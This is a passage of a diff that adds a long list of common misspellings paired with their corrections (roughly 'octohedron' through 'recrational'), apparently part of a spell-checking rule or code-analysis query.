+  wrong = "octohedron" and right = "octahedron"
+  or
+  wrong = "ocuntries" and right = "countries"
+  or
+  wrong = "ocuntry" and right = "country"
+  or
+  wrong = "ocurr" and right = "occur"
+  or
+  wrong = "ocurrance" and right = "occurrence"
+  or
+  wrong = "ocurred" and right = "occurred"
+  or
+  wrong = "ocurrence" and right = "occurrence"
+  or
+  wrong = "offcers" and right = "officers"
+  or
+  wrong = "offcially" and right = "officially"
+  or
+  wrong = "offereings" and right = "offerings"
+  or
+  wrong = "offical" and right = "official"
+  or
+  wrong = "offically" and right = "officially"
+  or
+  wrong = "officals" and right = "officials"
+  or
+  wrong = "officaly" and right = "officially"
+  or
+  wrong = "officialy" and right = "officially"
+  or
+  wrong = "offred" and right = "offered"
+  or
+  wrong = "oftenly" and right = "often"
+  or
+  wrong = "oging" and right = "going"
+  or
+  wrong = "oging" and right = "ogling"
+  or
+  wrong = "oject" and right = "object"
+  or
+  wrong = "omision" and right = "omission"
+  or
+  wrong = "omited" and right = "omitted"
+  or
+  wrong = "omiting" and right = "omitting"
+  or
+  wrong = "omlette" and right = "omelette"
+  or
+  wrong = "ommision" and right = "omission"
+  or
+  wrong = "ommited" and right = "omitted"
+  or
+  wrong = "ommiting" and right = "omitting"
+  or
+  wrong = "ommitted" and right = "omitted"
+  or
+  wrong = "ommitting" and right = "omitting"
+  or
+  wrong = "omniverous" and right = "omnivorous"
+  or
+  wrong = "omniverously" and right = "omnivorously"
+  or
+  wrong = "omre" and right = "more"
+  or
+  wrong = "onot" and right = "not"
+  or
+  wrong = "onot" and right = "note"
+  or
+  wrong = "onyl" and right = "only"
+  or
+  wrong = "openess" and right = "openness"
+  or
+  wrong = "oponent" and right = "opponent"
+  or
+  wrong = "oportunity" and right = "opportunity"
+  or
+  wrong = "opose" and right = "oppose"
+  or
+  wrong = "oposite" and right = "opposite"
+  or
+  wrong = "oposition" and right = "opposition"
+  or
+  wrong = "oppenly" and right = "openly"
+  or
+  wrong = "oppinion" and right = "opinion"
+  or
+  wrong = "opponant" and right = "opponent"
+  or
+  wrong = "oppononent" and right = "opponent"
+  or
+  wrong = "oppositition" and right = "opposition"
+  or
+  wrong = "oppossed" and right = "opposed"
+  or
+  wrong = "opprotunity" and right = "opportunity"
+  or
+  wrong = "opression" and right = "oppression"
+  or
+  wrong = "opressive" and right = "oppressive"
+  or
+  wrong = "opthalmic" and right = "ophthalmic"
+  or
+  wrong = "opthalmologist" and right = "ophthalmologist"
+  or
+  wrong = "opthalmology" and right = "ophthalmology"
+  or
+  wrong = "opthamologist" and right = "ophthalmologist"
+  or
+  wrong = "optmizations" and right = "optimizations"
+  or
+  wrong = "optomism" and right = "optimism"
+  or
+  wrong = "orded" and right = "ordered"
+  or
+  wrong = "organim" and right = "organism"
+  or
+  wrong = "organistion" and right = "organisation"
+  or
+  wrong = "organiztion" and right = "organization"
+  or
+  wrong = "orgin" and right = "organ"
+  or
+  wrong = "orgin" and right = "origin"
+  or
+  wrong = "orginal" and right = "original"
+  or
+  wrong = "orginally" and right = "originally"
+  or
+  wrong = "orginize" and right = "organise"
+  or
+  wrong = "oridinarily" and right = "ordinarily"
+  or
+  wrong = "origanaly" and right = "originally"
+  or
+  wrong = "originall" and right = "original"
+  or
+  wrong = "originall" and right = "originally"
+  or
+  wrong = "originaly" and right = "originally"
+  or
+  wrong = "originially" and right = "originally"
+  or
+  wrong = "originnally" and right = "originally"
+  or
+  wrong = "origional" and right = "original"
+  or
+  wrong = "orignally" and right = "originally"
+  or
+  wrong = "orignially" and right = "originally"
+  or
+  wrong = "otehr" and right = "other"
+  or
+  wrong = "oublisher" and right = "publisher"
+  or
+  wrong = "ouevre" and right = "oeuvre"
+  or
+  wrong = "ouput" and right = "output"
+  or
+  wrong = "oustanding" and right = "outstanding"
+  or
+  wrong = "overriden" and right = "overridden"
+  or
+  wrong = "overshaddowed" and right = "overshadowed"
+  or
+  wrong = "overwelming" and right = "overwhelming"
+  or
+  wrong = "overwheliming" and right = "overwhelming"
+  or
+  wrong = "owrk" and right = "work"
+  or
+  wrong = "owudl" and right = "would"
+  or
+  wrong = "oxigen" and right = "oxygen"
+  or
+  wrong = "oximoron" and right = "oxymoron"
+  or
+  wrong = "p0enis" and right = "penis"
+  or
+  wrong = "paide" and right = "paid"
+  or
+  wrong = "paitience" and right = "patience"
+  or
+  wrong = "palce" and right = "palace"
+  or
+  wrong = "palce" and right = "place"
+  or
+  wrong = "paleolitic" and right = "paleolithic"
+  or
+  wrong = "paliamentarian" and right = "parliamentarian"
+  or
+  wrong = "palistian" and right = "palestinian"
+  or
+  wrong = "palistinian" and right = "palestinian"
+  or
+  wrong = "palistinians" and right = "palestinians"
+  or
+  wrong = "pallete" and right = "palette"
+  or
+  wrong = "pamflet" and right = "pamphlet"
+  or
+  wrong = "pamplet" and right = "pamphlet"
+  or
+  wrong = "pantomine" and right = "pantomime"
+  or
+  wrong = "papanicalou" and right = "papanicolaou"
+  or
+  wrong = "paralel" and right = "parallel"
+  or
+  wrong = "paralell" and right = "parallel"
+  or
+  wrong = "paralelly" and right = "parallelly"
+  or
+  wrong = "paralely" and right = "parallelly"
+  or
+  wrong = "parallely" and right = "parallelly"
+  or
+  wrong = "paramater" and right = "parameter"
+  or
+  wrong = "paramters" and right = "parameters"
+  or
+  wrong = "paranthesis" and right = "parenthesis"
+  or
+  wrong = "paraphenalia" and right = "paraphernalia"
+  or
+  wrong = "parellels" and right = "parallels"
+  or
+  wrong = "parisitic" and right = "parasitic"
+  or
+  wrong = "parituclar" and right = "particular"
+  or
+  wrong = "parliment" and right = "parliament"
+  or
+  wrong = "parrakeets" and right = "parakeets"
+  or
+  wrong = "parralel" and right = "parallel"
+  or
+  wrong = "parrallel" and right = "parallel"
+  or
+  wrong = "parrallell" and right = "parallel"
+  or
+  wrong = "parrallelly" and right = "parallelly"
+  or
+  wrong = "parrallely" and right = "parallelly"
+  or
+  wrong = "partialy" and right = "partially"
+  or
+  wrong = "particually" and right = "particularly"
+  or
+  wrong = "particualr" and right = "particular"
+  or
+  wrong = "particuarly" and right = "particularly"
+  or
+  wrong = "particularily" and right = "particularly"
+  or
+  wrong = "particulary" and right = "particularly"
+  or
+  wrong = "pary" and right = "party"
+  or
+  wrong = "pased" and right = "passed"
+  or
+  wrong = "pasengers" and right = "passengers"
+  or
+  wrong = "passerbys" and right = "passersby"
+  or
+  wrong = "pasttime" and right = "pastime"
+  or
+  wrong = "pastural" and right = "pastoral"
+  or
+  wrong = "paticular" and right = "particular"
+  or
+  wrong = "pattented" and right = "patented"
+  or
+  wrong = "pavillion" and right = "pavilion"
+  or
+  wrong = "payed" and right = "paid"
+  or
+  wrong = "pblisher" and right = "publisher"
+  or
+  wrong = "pbulisher" and right = "publisher"
+  or
+  wrong = "peageant" and right = "pageant"
+  or
+  wrong = "peaple" and right = "people"
+  or
+  wrong = "peaples" and right = "peoples"
+  or
+  wrong = "peculure" and right = "peculiar"
+  or
+  wrong = "pedestrain" and right = "pedestrian"
+  or
+  wrong = "peformed" and right = "performed"
+  or
+  wrong = "peice" and right = "piece"
+  or
+  wrong = "peloponnes" and right = "peloponnesus"
+  or
+  wrong = "penatly" and right = "penalty"
+  or
+  wrong = "penerator" and right = "penetrator"
+  or
+  wrong = "penisula" and right = "peninsula"
+  or
+  wrong = "penisular" and right = "peninsular"
+  or
+  wrong = "penninsula" and right = "peninsula"
+  or
+  wrong = "penninsular" and right = "peninsular"
+  or
+  wrong = "pennisula" and right = "peninsula"
+  or
+  wrong = "pennyslvania" and right = "pennsylvania"
+  or
+  wrong = "pensinula" and right = "peninsula"
+  or
+  wrong = "pensle" and right = "pencil"
+  or
+  wrong = "peom" and right = "poem"
+  or
+  wrong = "peoms" and right = "poems"
+  or
+  wrong = "peopel" and right = "people"
+  or
+  wrong = "peopels" and right = "peoples"
+  or
+  wrong = "peotry" and right = "poetry"
+  or
+  wrong = "perade" and right = "parade"
+  or
+  wrong = "percepted" and right = "perceived"
+  or
+  wrong = "percieve" and right = "perceive"
+  or
+  wrong = "percieved" and right = "perceived"
+  or
+  wrong = "perenially" and right = "perennially"
+  or
+  wrong = "peretrator" and right = "perpetrator"
+  or
+  wrong = "perfomance" and right = "performance"
+  or
+  wrong = "perfomers" and right = "performers"
+  or
+  wrong = "performence" and right = "performance"
+  or
+  wrong = "performes" and right = "performed"
+  or
+  wrong = "performes" and right = "performs"
+  or
+  wrong = "perhasp" and right = "perhaps"
+  or
+  wrong = "perheaps" and right = "perhaps"
+  or
+  wrong = "perhpas" and right = "perhaps"
+  or
+  wrong = "peripathetic" and right = "peripatetic"
+  or
+  wrong = "peristent" and right = "persistent"
+  or
+  wrong = "perjery" and right = "perjury"
+  or
+  wrong = "perjorative" and right = "pejorative"
+  or
+  wrong = "permanant" and right = "permanent"
+  or
+  wrong = "permenant" and right = "permanent"
+  or
+  wrong = "permenantly" and right = "permanently"
+  or
+  wrong = "permissable" and right = "permissible"
+  or
+  wrong = "perogative" and right = "prerogative"
+  or
+  wrong = "peronal" and right = "personal"
+  or
+  wrong = "perosnality" and right = "personality"
+  or
+  wrong = "perpertrated" and right = "perpetrated"
+  or
+  wrong = "perphas" and right = "perhaps"
+  or
+  wrong = "perpindicular" and right = "perpendicular"
+  or
+  wrong = "persan" and right = "person"
+  or
+  wrong = "perseverence" and right = "perseverance"
+  or
+  wrong = "persistance" and right = "persistence"
+  or
+  wrong = "persistant" and right = "persistent"
+  or
+  wrong = "personel" and right = "personal"
+  or
+  wrong = "personel" and right = "personnel"
+  or
+  wrong = "personell" and right = "personnel"
+  or
+  wrong = "personnell" and right = "personnel"
+  or
+  wrong = "persuded" and right = "persuaded"
+  or
+  wrong = "persue" and right = "pursue"
+  or
+  wrong = "persued" and right = "pursued"
+  or
+  wrong = "persuing" and right = "pursuing"
+  or
+  wrong = "persuit" and right = "pursuit"
+  or
+  wrong = "persuits" and right = "pursuits"
+  or
+  wrong = "pertubation" and right = "perturbation"
+  or
+  wrong = "pertubations" and right = "perturbations"
+  or
+  wrong = "pessiary" and right = "pessary"
+  or
+  wrong = "petetion" and right = "petition"
+  or
+  wrong = "pharoah" and right = "pharaoh"
+  or
+  wrong = "phenomenom" and right = "phenomenon"
+  or
+  wrong = "phenomenonal" and right = "phenomenal"
+  or
+  wrong = "phenomenonly" and right = "phenomenally"
+  or
+  wrong = "phenomonenon" and right = "phenomenon"
+  or
+  wrong = "phenomonon" and right = "phenomenon"
+  or
+  wrong = "phenonmena" and right = "phenomena"
+  or
+  wrong = "philipines" and right = "philippines"
+  or
+  wrong = "philisopher" and right = "philosopher"
+  or
+  wrong = "philisophical" and right = "philosophical"
+  or
+  wrong = "philisophy" and right = "philosophy"
+  or
+  wrong = "phillipine" and right = "philippine"
+  or
+  wrong = "phillipines" and right = "philippines"
+  or
+  wrong = "phillippines" and right = "philippines"
+  or
+  wrong = "phillosophically" and right = "philosophically"
+  or
+  wrong = "philospher" and right = "philosopher"
+  or
+  wrong = "philosphies" and right = "philosophies"
+  or
+  wrong = "philosphy" and right = "philosophy"
+  or
+  wrong = "phonecian" and right = "phoenecian"
+  or
+  wrong = "phongraph" and right = "phonograph"
+  or
+  wrong = "phylosophical" and right = "philosophical"
+  or
+  wrong = "physicaly" and right = "physically"
+  or
+  wrong = "piblisher" and right = "publisher"
+  or
+  wrong = "pich" and right = "pitch"
+  or
+  wrong = "pilgrimmage" and right = "pilgrimage"
+  or
+  wrong = "pilgrimmages" and right = "pilgrimages"
+  or
+  wrong = "pinapple" and right = "pineapple"
+  or
+  wrong = "pinnaple" and right = "pineapple"
+  or
+  wrong = "pinoneered" and right = "pioneered"
+  or
+  wrong = "plagarism" and right = "plagiarism"
+  or
+  wrong = "planation" and right = "plantation"
+  or
+  wrong = "planed" and right = "planned"
+  or
+  wrong = "plantiff" and right = "plaintiff"
+  or
+  wrong = "plateu" and right = "plateau"
+  or
+  wrong = "plausable" and right = "plausible"
+  or
+  wrong = "playright" and right = "playwright"
+  or
+  wrong = "playwrite" and right = "playwright"
+  or
+  wrong = "playwrites" and right = "playwrights"
+  or
+  wrong = "pleasent" and right = "pleasant"
+  or
+  wrong = "plebicite" and right = "plebiscite"
+  or
+  wrong = "plesant" and right = "pleasant"
+  or
+  wrong = "poenis" and right = "penis"
+  or
+  wrong = "poeoples" and right = "peoples"
+  or
+  wrong = "poety" and right = "poetry"
+  or
+  wrong = "poisin" and right = "poison"
+  or
+  wrong = "polical" and right = "political"
+  or
+  wrong = "polinator" and right = "pollinator"
+  or
+  wrong = "polinators" and right = "pollinators"
+  or
+  wrong = "politican" and right = "politician"
+  or
+  wrong = "politicans" and right = "politicians"
+  or
+  wrong = "poltical" and right = "political"
+  or
+  wrong = "polute" and right = "pollute"
+  or
+  wrong = "poluted" and right = "polluted"
+  or
+  wrong = "polutes" and right = "pollutes"
+  or
+  wrong = "poluting" and right = "polluting"
+  or
+  wrong = "polution" and right = "pollution"
+  or
+  wrong = "polyphonyic" and right = "polyphonic"
+  or
+  wrong = "polysaccaride" and right = "polysaccharide"
+  or
+  wrong = "polysaccharid" and right = "polysaccharide"
+  or
+  wrong = "pomegranite" and right = "pomegranate"
+  or
+  wrong = "pomotion" and right = "promotion"
+  or
+  wrong = "poportional" and right = "proportional"
+  or
+  wrong = "popoulation" and right = "population"
+  or
+  wrong = "popularaty" and right = "popularity"
+  or
+  wrong = "populare" and right = "popular"
+  or
+  wrong = "populer" and right = "popular"
+  or
+  wrong = "porshan" and right = "portion"
+  or
+  wrong = "porshon" and right = "portion"
+  or
+  wrong = "portait" and right = "portrait"
+  or
+  wrong = "portayed" and right = "portrayed"
+  or
+  wrong = "portraing" and right = "portraying"
+  or
+  wrong = "portugese" and right = "portuguese"
+  or
+  wrong = "portuguease" and right = "portuguese"
+  or
+  wrong = "portugues" and right = "portuguese"
+  or
+  wrong = "posess" and right = "possess"
+  or
+  wrong = "posessed" and right = "possessed"
+  or
+  wrong = "posesses" and right = "possesses"
+  or
+  wrong = "posessing" and right = "possessing"
+  or
+  wrong = "posession" and right = "possession"
+  or
+  wrong = "posessions" and right = "possessions"
+  or
+  wrong = "posion" and right = "poison"
+  or
+  wrong = "positon" and right = "position"
+  or
+  wrong = "positon" and right = "positron"
+  or
+  wrong = "possable" and right = "possible"
+  or
+  wrong = "possably" and right = "possibly"
+  or
+  wrong = "posseses" and right = "possesses"
+  or
+  wrong = "possesing" and right = "possessing"
+  or
+  wrong = "possesion" and right = "possession"
+  or
+  wrong = "possessess" and right = "possesses"
+  or
+  wrong = "possibile" and right = "possible"
+  or
+  wrong = "possibilty" and right = "possibility"
+  or
+  wrong = "possiblility" and right = "possibility"
+  or
+  wrong = "possiblilty" and right = "possibility"
+  or
+  wrong = "possiblities" and right = "possibilities"
+  or
+  wrong = "possiblity" and right = "possibility"
+  or
+  wrong = "possition" and right = "position"
+  or
+  wrong = "postdam" and right = "potsdam"
+  or
+  wrong = "posthomous" and right = "posthumous"
+  or
+  wrong = "postion" and right = "position"
+  or
+  wrong = "postive" and right = "positive"
+  or
+  wrong = "potatos" and right = "potatoes"
+  or
+  wrong = "potrait" and right = "portrait"
+  or
+  wrong = "potrayed" and right = "portrayed"
+  or
+  wrong = "poulations" and right = "populations"
+  or
+  wrong = "poverful" and right = "powerful"
+  or
+  wrong = "poweful" and right = "powerful"
+  or
+  wrong = "powerfull" and right = "powerful"
+  or
+  wrong = "ppublisher" and right = "publisher"
+  or
+  wrong = "practial" and right = "practical"
+  or
+  wrong = "practially" and right = "practically"
+  or
+  wrong = "practicaly" and right = "practically"
+  or
+  wrong = "practicioner" and right = "practitioner"
+  or
+  wrong = "practicioners" and right = "practitioners"
+  or
+  wrong = "practicly" and right = "practically"
+  or
+  wrong = "practioner" and right = "practitioner"
+  or
+  wrong = "practioners" and right = "practitioners"
+  or
+  wrong = "prairy" and right = "prairie"
+  or
+  wrong = "prarie" and right = "prairie"
+  or
+  wrong = "praries" and right = "prairies"
+  or
+  wrong = "pratice" and right = "practice"
+  or
+  wrong = "preample" and right = "preamble"
+  or
+  wrong = "precedessor" and right = "predecessor"
+  or
+  wrong = "preceed" and right = "precede"
+  or
+  wrong = "preceeded" and right = "preceded"
+  or
+  wrong = "preceeding" and right = "preceding"
+  or
+  wrong = "preceeds" and right = "precedes"
+  or
+  wrong = "precendence" and right = "precedence"
+  or
+  wrong = "precentage" and right = "percentage"
+  or
+  wrong = "precice" and right = "precise"
+  or
+  wrong = "precisly" and right = "precisely"
+  or
+  wrong = "precurser" and right = "precursor"
+  or
+  wrong = "predecesors" and right = "predecessors"
+  or
+  wrong = "predicatble" and right = "predictable"
+  or
+  wrong = "predicitons" and right = "predictions"
+  or
+  wrong = "predomiantly" and right = "predominately"
+  or
+  wrong = "prefered" and right = "preferred"
+  or
+  wrong = "prefering" and right = "preferring"
+  or
+  wrong = "preferrably" and right = "preferably"
+  or
+  wrong = "pregancies" and right = "pregnancies"
+  or
+  wrong = "preiod" and right = "period"
+  or
+  wrong = "preliferation" and right = "proliferation"
+  or
+  wrong = "premeire" and right = "premiere"
+  or
+  wrong = "premeired" and right = "premiered"
+  or
+  wrong = "premillenial" and right = "premillennial"
+  or
+  wrong = "preminence" and right = "preeminence"
+  or
+  wrong = "premission" and right = "permission"
+  or
+  wrong = "premonasterians" and right = "premonstratensians"
+  or
+  wrong = "preocupation" and right = "preoccupation"
+  or
+  wrong = "prepair" and right = "prepare"
+  or
+  wrong = "prepartion" and right = "preparation"
+  or
+  wrong = "prepatory" and right = "preparatory"
+  or
+  wrong = "preperation" and right = "preparation"
+  or
+  wrong = "preperations" and right = "preparations"
+  or
+  wrong = "preriod" and right = "period"
+  or
+  wrong = "presedential" and right = "presidential"
+  or
+  wrong = "presense" and right = "presence"
+  or
+  wrong = "presidenital" and right = "presidential"
+  or
+  wrong = "presidental" and right = "presidential"
+  or
+  wrong = "presitgious" and right = "prestigious"
+  or
+  wrong = "prespective" and right = "perspective"
+  or
+  wrong = "prestigeous" and right = "prestigious"
+  or
+  wrong = "prestigous" and right = "prestigious"
+  or
+  wrong = "presumabely" and right = "presumably"
+  or
+  wrong = "presumibly" and right = "presumably"
+  or
+  wrong = "pretection" and right = "protection"
+  or
+  wrong = "prevelant" and right = "prevalent"
+  or
+  wrong = "preverse" and right = "perverse"
+  or
+  wrong = "previvous" and right = "previous"
+  or
+  wrong = "pricipal" and right = "principal"
+  or
+  wrong = "priciple" and right = "principle"
+  or
+  wrong = "priestood" and right = "priesthood"
+  or
+  wrong = "primarly" and right = "primarily"
+  or
+  wrong = "primative" and right = "primitive"
+  or
+  wrong = "primatively" and right = "primitively"
+  or
+  wrong = "primatives" and right = "primitives"
+  or
+  wrong = "primordal" and right = "primordial"
+  or
+  wrong = "principaly" and right = "principality"
+  or
+  wrong = "principial" and right = "principal"
+  or
+  wrong = "principlaity" and right = "principality"
+  or
+  wrong = "principly" and right = "principally"
+  or
+  wrong = "prinicipal" and right = "principal"
+  or
+  wrong = "privalege" and right = "privilege"
+  or
+  wrong = "privaleges" and right = "privileges"
+  or
+  wrong = "priveledges" and right = "privileges"
+  or
+  wrong = "privelege" and right = "privilege"
+  or
+  wrong = "priveleged" and right = "privileged"
+  or
+  wrong = "priveleges" and right = "privileges"
+  or
+  wrong = "privelige" and right = "privilege"
+  or
+  wrong = "priveliged" and right = "privileged"
+  or
+  wrong = "priveliges" and right = "privileges"
+  or
+  wrong = "privelleges" and right = "privileges"
+  or
+  wrong = "privilage" and right = "privilege"
+  or
+  wrong = "priviledge" and right = "privilege"
+  or
+  wrong = "priviledges" and right = "privileges"
+  or
+  wrong = "privledge" and right = "privilege"
+  or
+  wrong = "privte" and right = "private"
+  or
+  wrong = "probabilaty" and right = "probability"
+  or
+  wrong = "probablistic" and right = "probabilistic"
+  or
+  wrong = "probablly" and right = "probably"
+  or
+  wrong = "probalibity" and right = "probability"
+  or
+  wrong = "probaly" and right = "probably"
+  or
+  wrong = "probelm" and right = "problem"
+  or
+  wrong = "proccess" and right = "process"
+  or
+  wrong = "proccessing" and right = "processing"
+  or
+  wrong = "procede" and right = "precede"
+  or
+  wrong = "procede" and right = "proceed"
+  or
+  wrong = "proceded" and right = "preceded"
+  or
+  wrong = "proceded" and right = "proceeded"
+  or
+  wrong = "procedes" and right = "precedes"
+  or
+  wrong = "procedes" and right = "proceeds"
+  or
+  wrong = "procedger" and right = "procedure"
+  or
+  wrong = "proceding" and right = "preceding"
+  or
+  wrong = "proceding" and right = "proceeding"
+  or
+  wrong = "procedings" and right = "proceedings"
+  or
+  wrong = "proceedure" and right = "procedure"
+  or
+  wrong = "proces" and right = "process"
+  or
+  wrong = "procesed" and right = "processed"
+  or
+  wrong = "processer" and right = "processor"
+  or
+  wrong = "proclaimation" and right = "proclamation"
+  or
+  wrong = "proclamed" and right = "proclaimed"
+  or
+  wrong = "proclaming" and right = "proclaiming"
+  or
+  wrong = "proclomation" and right = "proclamation"
+  or
+  wrong = "profesion" and right = "profession"
+  or
+  wrong = "profesion" and right = "profusion"
+  or
+  wrong = "profesor" and right = "professor"
+  or
+  wrong = "professer" and right = "professor"
+  or
+  wrong = "proffesed" and right = "professed"
+  or
+  wrong = "proffesion" and right = "profession"
+  or
+  wrong = "proffesional" and right = "professional"
+  or
+  wrong = "proffesor" and right = "professor"
+  or
+  wrong = "profilic" and right = "prolific"
+  or
+  wrong = "progessed" and right = "progressed"
+  or
+  wrong = "progidy" and right = "prodigy"
+  or
+  wrong = "programable" and right = "programmable"
+  or
+  wrong = "progrom" and right = "pogrom"
+  or
+  wrong = "progrom" and right = "program"
+  or
+  wrong = "progroms" and right = "pogroms"
+  or
+  wrong = "progroms" and right = "programs"
+  or
+  wrong = "prohabition" and right = "prohibition"
+  or
+  wrong = "prologomena" and right = "prolegomena"
+  or
+  wrong = "prominance" and right = "prominence"
+  or
+  wrong = "prominant" and right = "prominent"
+  or
+  wrong = "prominantly" and right = "prominently"
+  or
+  wrong = "prominately" and right = "predominately"
+  or
+  wrong = "prominately" and right = "prominently"
+  or
+  wrong = "promiscous" and right = "promiscuous"
+  or
+  wrong = "promotted" and right = "promoted"
+  or
+  wrong = "pronomial" and right = "pronominal"
+  or
+  wrong = "pronouced" and right = "pronounced"
+  or
+  wrong = "pronounched" and right = "pronounced"
+  or
+  wrong = "pronounciation" and right = "pronunciation"
+  or
+  wrong = "proove" and right = "prove"
+  or
+  wrong = "prooved" and right = "proved"
+  or
+  wrong = "prophacy" and right = "prophecy"
+  or
+  wrong = "propietary" and right = "proprietary"
+  or
+  wrong = "propmted" and right = "prompted"
+  or
+  wrong = "propoganda" and right = "propaganda"
+  or
+  wrong = "propogate" and right = "propagate"
+  or
+  wrong = "propogates" and right = "propagates"
+  or
+  wrong = "propogation" and right = "propagation"
+  or
+  wrong = "propostion" and right = "proposition"
+  or
+  wrong = "propotions" and right = "proportions"
+  or
+  wrong = "propper" and right = "proper"
+  or
+  wrong = "propperly" and right = "properly"
+  or
+  wrong = "proprietory" and right = "proprietary"
+  or
+  wrong = "proseletyzing" and right = "proselytizing"
+  or
+  wrong = "protaganist" and right = "protagonist"
+  or
+  wrong = "protaganists" and right = "protagonists"
+  or
+  wrong = "protocal" and right = "protocol"
+  or
+  wrong = "protoganist" and right = "protagonist"
+  or
+  wrong = "prototpe" and right = "prototype"
+  or
+  wrong = "protoype" and right = "prototype"
+  or
+  wrong = "protrayed" and right = "portrayed"
+  or
+  wrong = "protruberance" and right = "protuberance"
+  or
+  wrong = "protruberances" and right = "protuberances"
+  or
+  wrong = "prouncements" and right = "pronouncements"
+  or
+  wrong = "provacative" and right = "provocative"
+  or
+  wrong = "provded" and right = "provided"
+  or
+  wrong = "provicial" and right = "provincial"
+  or
+  wrong = "provinicial" and right = "provincial"
+  or
+  wrong = "provisiosn" and right = "provision"
+  or
+  wrong = "provisonal" and right = "provisional"
+  or
+  wrong = "proximty" and right = "proximity"
+  or
+  wrong = "pseudononymous" and right = "pseudonymous"
+  or
+  wrong = "pseudonyn" and right = "pseudonym"
+  or
+  wrong = "psuedo" and right = "pseudo"
+  or
+  wrong = "psycology" and right = "psychology"
+  or
+  wrong = "psyhic" and right = "psychic"
+  or
+  wrong = "pubilsher" and right = "publisher"
+  or
+  wrong = "pubisher" and right = "publisher"
+  or
+  wrong = "publiaher" and right = "publisher"
+  or
+  wrong = "publically" and right = "publicly"
+  or
+  wrong = "publicaly" and right = "publicly"
+  or
+  wrong = "publicher" and right = "publisher"
+  or
+  wrong = "publihser" and right = "publisher"
+  or
+  wrong = "publisehr" and right = "publisher"
+  or
+  wrong = "publiser" and right = "publisher"
+  or
+  wrong = "publisger" and right = "publisher"
+  or
+  wrong = "publisheed" and right = "published"
+  or
+  wrong = "publisherr" and right = "publisher"
+  or
+  wrong = "publishher" and right = "publisher"
+  or
+  wrong = "publishor" and right = "publisher"
+  or
+  wrong = "publishre" and right = "publisher"
+  or
+  wrong = "publissher" and right = "publisher"
+  or
+  wrong = "publlisher" and right = "publisher"
+  or
+  wrong = "publsiher" and right = "publisher"
+  or
+  wrong = "publusher" and right = "publisher"
+  or
+  wrong = "puchasing" and right = "purchasing"
+  or
+  wrong = "pucini" and right = "puccini"
+  or
+  wrong = "pulisher" and right = "publisher"
+  or
+  wrong = "pumkin" and right = "pumpkin"
+  or
+  wrong = "puplisher" and right = "publisher"
+  or
+  wrong = "puritannical" and right = "puritanical"
+  or
+  wrong = "purposedly" and right = "purposely"
+  or
+  wrong = "purpotedly" and right = "purportedly"
+  or
+  wrong = "pursuade" and right = "persuade"
+  or
+  wrong = "pursuaded" and right = "persuaded"
+  or
+  wrong = "pursuades" and right = "persuades"
+  or
+  wrong = "pususading" and right = "persuading"
+  or
+  wrong = "puting" and right = "putting"
+  or
+  wrong = "pwoer" and right = "power"
+  or
+  wrong = "pyscic" and right = "psychic"
+  or
+  wrong = "qtuie" and right = "quiet"
+  or
+  wrong = "qtuie" and right = "quite"
+  or
+  wrong = "quantaty" and right = "quantity"
+  or
+  wrong = "quantitiy" and right = "quantity"
+  or
+  wrong = "quarantaine" and right = "quarantine"
+  or
+  wrong = "queenland" and right = "queensland"
+  or
+  wrong = "questonable" and right = "questionable"
+  or
+  wrong = "quicklyu" and right = "quickly"
+  or
+  wrong = "quinessential" and right = "quintessential"
+  or
+  wrong = "quitted" and right = "quit"
+  or
+  wrong = "quizes" and right = "quizzes"
+  or
+  wrong = "qutie" and right = "quiet"
+  or
+  wrong = "qutie" and right = "quite"
+  or
+  wrong = "rabinnical" and right = "rabbinical"
+  or
+  wrong = "racaus" and right = "raucous"
+  or
+  wrong = "radiactive" and right = "radioactive"
+  or
+  wrong = "radify" and right = "ratify"
+  or
+  wrong = "raelly" and right = "really"
+  or
+  wrong = "rarified" and right = "rarefied"
+  or
+  wrong = "reaccurring" and right = "recurring"
+  or
+  wrong = "reacing" and right = "reaching"
+  or
+  wrong = "reacll" and right = "recall"
+  or
+  wrong = "readmition" and right = "readmission"
+  or
+  wrong = "realitvely" and right = "relatively"
+  or
+  wrong = "realsitic" and right = "realistic"
+  or
+  wrong = "realtions" and right = "relations"
+  or
+  wrong = "realy" and right = "really"
+  or
+  wrong = "realyl" and right = "really"
+  or
+  wrong = "reasearch" and right = "research"
+  or
+  wrong = "rebiulding" and right = "rebuilding"
+  or
+  wrong = "rebllions" and right = "rebellions"
+  or
+  wrong = "rebounce" and right = "rebound"
+  or
+  wrong = "reccomend" and right = "recommend"
+  or
+  wrong = "reccomendations" and right = "recommendations"
+  or
+  wrong = "reccomended" and right = "recommended"
+  or
+  wrong = "reccomending" and right = "recommending"
+  or
+  wrong = "reccommend" and right = "recommend"
+  or
+  wrong = "reccommended" and right = "recommended"
+  or
+  wrong = "reccommending" and right = "recommending"
+  or
+  wrong = "reccuring" and right = "recurring"
+  or
+  wrong = "receeded" and right = "receded"
+  or
+  wrong = "receeding" and right = "receding"
+  or
+  wrong = "recepient" and right = "recipient"
+  or
+  wrong = "recepients" and right = "recipients"
+  or
+  wrong = "receving" and right = "receiving"
+  or
+  wrong = "rechargable" and right = "rechargeable"
+  or
+  wrong = "reched" and right = "reached"
+  or
+  wrong = "recide" and right = "reside"
+  or
+  wrong = "recided" and right = "resided"
+  or
+  wrong = "recident" and right = "resident"
+  or
+  wrong = "recidents" and right = "residents"
+  or
+  wrong = "reciding" and right = "residing"
+  or
+  wrong = "reciepents" and right = "recipients"
+  or
+  wrong = "reciept" and right = "receipt"
+  or
+  wrong = "recieve" and right = "receive"
+  or
+  wrong = "recieved" and right = "received"
+  or
+  wrong = "reciever" and right = "receiver"
+  or
+  wrong = "recievers" and right = "receivers"
+  or
+  wrong = "recieves" and right = "receives"
+  or
+  wrong = "recieving" and right = "receiving"
+  or
+  wrong = "recipiant" and right = "recipient"
+  or
+  wrong = "recipiants" and right = "recipients"
+  or
+  wrong = "recived" and right = "received"
+  or
+  wrong = "recivership" and right = "receivership"
+  or
+  wrong = "recogise" and right = "recognise"
+  or
+  wrong = "recogize" and right = "recognize"
+  or
+  wrong = "recomend" and right = "recommend"
+  or
+  wrong = "recomended" and right = "recommended"
+  or
+  wrong = "recomending" and right = "recommending"
+  or
+  wrong = "recomends" and right = "recommends"
+  or
+  wrong = "recommedations" and right = "recommendations"
+  or
+  wrong = "recompence" and right = "recompense"
+  or
+  wrong = "reconaissance" and right = "reconnaissance"
+  or
+  wrong = "reconcilation" and right = "reconciliation"
+  or
+  wrong = "reconized" and right = "recognized"
+  or
+  wrong = "reconnaisance" and right = "reconnaissance"
+  or
+  wrong = "reconnaissence" and right = "reconnaissance"
+  or
+  wrong = "recontructed" and right = "reconstructed"
+  or
+  wrong = "recquired" and right = "required"
+  or
+  wrong = "recrational" and right = "recreational"
+  or
